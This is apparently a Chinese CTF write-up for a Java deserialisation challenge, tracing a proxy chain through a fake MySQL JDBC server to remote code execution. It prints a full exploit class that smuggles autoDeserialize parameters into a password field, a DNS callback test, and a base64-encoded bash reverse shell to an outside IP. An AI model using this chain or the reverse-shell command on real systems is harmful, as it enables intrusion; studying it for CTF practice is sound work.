一、题目分析

image-20220613164348779

我是在BUUCTF上做的题,直接进入题目啥也没有,后来知道该题给了源码(不过buu没有给,直接去github上找)

jd-gui打开jar包,主要逻辑在BOOT-INF目录中:

image-20220613164704582

1.1 进入MainController.class:

image-20220613164821098

逻辑还是挺简单的:

  • /index获取参数username、password,将参数赋值给userinfo对象,并将该对象序列化存储到Cookie的data中
  • /hello获得cookie中的data并反序列化,并调用info.getAllInfo(),将返回的数据显示到视图页面中的info参数

hello.html

image-20220613165439860

1.2 我的想法:

看完题目后,第一想法就是自己创建序列化字符串,传递给cookie中的data,这样就能反序列化我们构造的序列化字符串了

但是,随之而来有一个疑问,我该如何构造?构造过程中该调用谁呢?

发现好像并没有那么简单,简单看了眼WP,才发现自己真的太天真了

二、题目再分析

2.1 反序列化函数

这里反序列化使用的是SerialKiller类,打开serialkiller.conf发现是一个白名单:

也就是反序列化的目标收到了限制,只能是白名单中的包下的类才能反序列化

image-20220613165928288

image-20220613170152173

2.2 DatabaseInfo.class

UserInfo.class同目录下还存在DatabaseInfo.class,其中也存在同样名称的方法:

image-20220613170702437

并且connect()函数中使用了jdbc连接mysql数据库,这里我们就可以构造恶意mysql服务端,使用jdbc进行反序列化

那么如何调用connect()函数?

2.3 InfoInvocationHandler.class

gdufs包中还存一个类InfoInvocationHandler.class,实现了InvocationHandler接口,显然是一个动态代理的时间处理器:

image-20220613171648194

if判断中调用checkAllInfo(),刚好满足DatabaseInfo()中的条件:

image-20220613172129643

这样就可以调用connect函数

2.3 整理

总的一个思路就出来了:

  • MainController中的info.getAllInfo() —>
  • InfoInvocationHandler.class 的 invoke() —>
  • DatabaseInfo.class 中的 connect() —>
  • 构造恶意mysql服务端结合jdbc实现反序列化

三、解题过程

根据上面思路构造playload:

public class Exp {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static String serialize(Object obj) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try {
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
        return new String(Base64.getEncoder().encode(baos.toByteArray()));
    }
    public static Object unserialize(String base64data) throws Exception{
        Object obj;
        ByteArrayInputStream bain = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
        try(
            ObjectInputStream oin = new ObjectInputStream(bain)){
            obj = oin.readObject();
            return obj;
        }
    }

    public static void main(String[] args) throws Exception {
        DatabaseInfo di = new DatabaseInfo();
        di.setHost("124.222.69.8");
        di.setPort("8090");
        di.setUsername("123");
                   di.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        InfoInvocationHandler iih = new InfoInvocationHandler(di);
        Info info = (Info) Proxy.newProxyInstance(di.getClass().getClassLoader(),  							    di.getClass().getInterfaces(),iih);
        //info.getAllInfo();  //这样就可以调用了,但我我们需要让他自己调用
        
        String playload=serialize(info);
        System.out.print(playload);
        Info info1 = (Info) unserialize(playload);
        info1.getAllInfo();

    }
}

这样我们在vps上启动一个假的Mysql服务器,完成MySQL JDBC客户端Java反序列化漏洞利用

可是vps上开启mysql服务器后并在靶机上发送playload,mysql服务器并没有反应

也不知道是什么原因

image-20220613231217374

终于找到原因了:上述运行的java程序,其中反序列化的一些类并没有放在正确的目录下(我一开始都是放在同一个目录下的)

更改后,创建正确的包,并把对应的类放进去:

image-20220614223429733

接下来使用MySQL Fake Server工具:

image-20220614224159601

然后测试一下playload是否有效:

修改username

di.setUsername("yso_URLDNS_http://i00r5g.dnslog.cn");

然后发送playload:

image-20220614224451018

测试成功然后反弹shell:

di.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoJTIwLWklMjAlM0UlMjYlMjAvZGV2L3RjcC8xMjQuMjIyLjY5LjgvNDkxNjAlMjAwJTNFJTI2MQ==}|{base64,-d}|{bash,-i}");

服务端成功响应,但是并没有监听到。。。

image-20220614230320352

为什么利用cc5(CommonsCollections5)?

根据web应用依赖来,翻看/Users/osword/.m2/repository/org/nibblesec/serialkiller/0.4/serialkiller-0.4.pom发现存在cc3.2.1依赖。可以直接利用CommonsCollections5直接打(PS:因为cc5 利用BadAttributeValueExpException符合jdk8环境

四、总结

整个做下来还是一知半解,对于Jdbc、MySQL Fake Sever工具 和 cc5 等一些知识的原理或使用都需要理解才行